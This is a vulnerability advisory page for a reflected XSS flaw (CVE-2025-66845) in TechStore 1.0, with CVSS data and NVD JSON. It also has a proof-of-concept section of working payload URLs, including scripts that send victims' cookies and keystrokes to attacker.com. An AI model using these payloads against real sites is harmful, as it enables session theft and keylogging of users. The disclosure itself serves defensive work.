Security Vulnerability Report
中文
CVE-2025-66845 CVSS 6.1 MEDIUM

CVE-2025-66845

Published: 2025-12-23 14:16:40
Last Modified: 2026-01-05 18:14:22

Description

A reflected Cross-Site Scripting (XSS) vulnerability has been identified in TechStore version 1.0. The user_name endpoint reflects the id query parameter directly into the HTML response without output encoding or sanitization, allowing execution of arbitrary JavaScript code in a victim’s browser.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:nooncarlett:techstore:1.0:*:*:*:*:*:*:* - VULNERABLE
TechStore 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-66845 Reflected XSS PoC for TechStore 1.0 user_name endpoint --> <!-- This PoC demonstrates the XSS vulnerability in the id parameter --> <!-- Basic PoC - Alert with cookie --> https://[target]/user_name?id=%3Cscript%3Ealert(document.cookie)%3C/script%3E <!-- Session Hijacking PoC - Send cookie to attacker server --> https://[target]/user_name?id=%3Cscript%3E fetch('https://attacker.com/steal?c='+encodeURIComponent(document.cookie)) %3C/script%3E <!-- Keylogger PoC - Log user input --> https://[target]/user_name?id=%3Cscript%3E document.addEventListener('keypress',function(e){ fetch('https://attacker.com/log?k='+e.key) }) %3C/script%3E <!-- HTML Injection with XSS - Defacement --> https://[target]/user_name?id=%22%3E%3Cscript%3Edocument.body.innerHTML='%3Ch1%3EHacked%3C/h1%3E'%3C/script%3E <!-- Encoded variant using HTML entities --> https://[target]/user_name?id=%3Cimg%20src=x%20onerror=alert(document.domain)%3E

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66845", "sourceIdentifier": "[email protected]", "published": "2025-12-23T14:16:40.260", "lastModified": "2026-01-05T18:14:22.487", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A reflected Cross-Site Scripting (XSS) vulnerability has been identified in TechStore version 1.0. The user_name endpoint reflects the id query parameter directly into the HTML response without output encoding or sanitization, allowing execution of arbitrary JavaScript code in a victim’s browser."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nooncarlett:techstore:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "52E5844D-E842-471F-AB10-162145F07E77"}]}]}], "references": [{"url": "https://gist.github.com/MuratSevri/d78efed86ca5f82e8a6683ace5061319", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}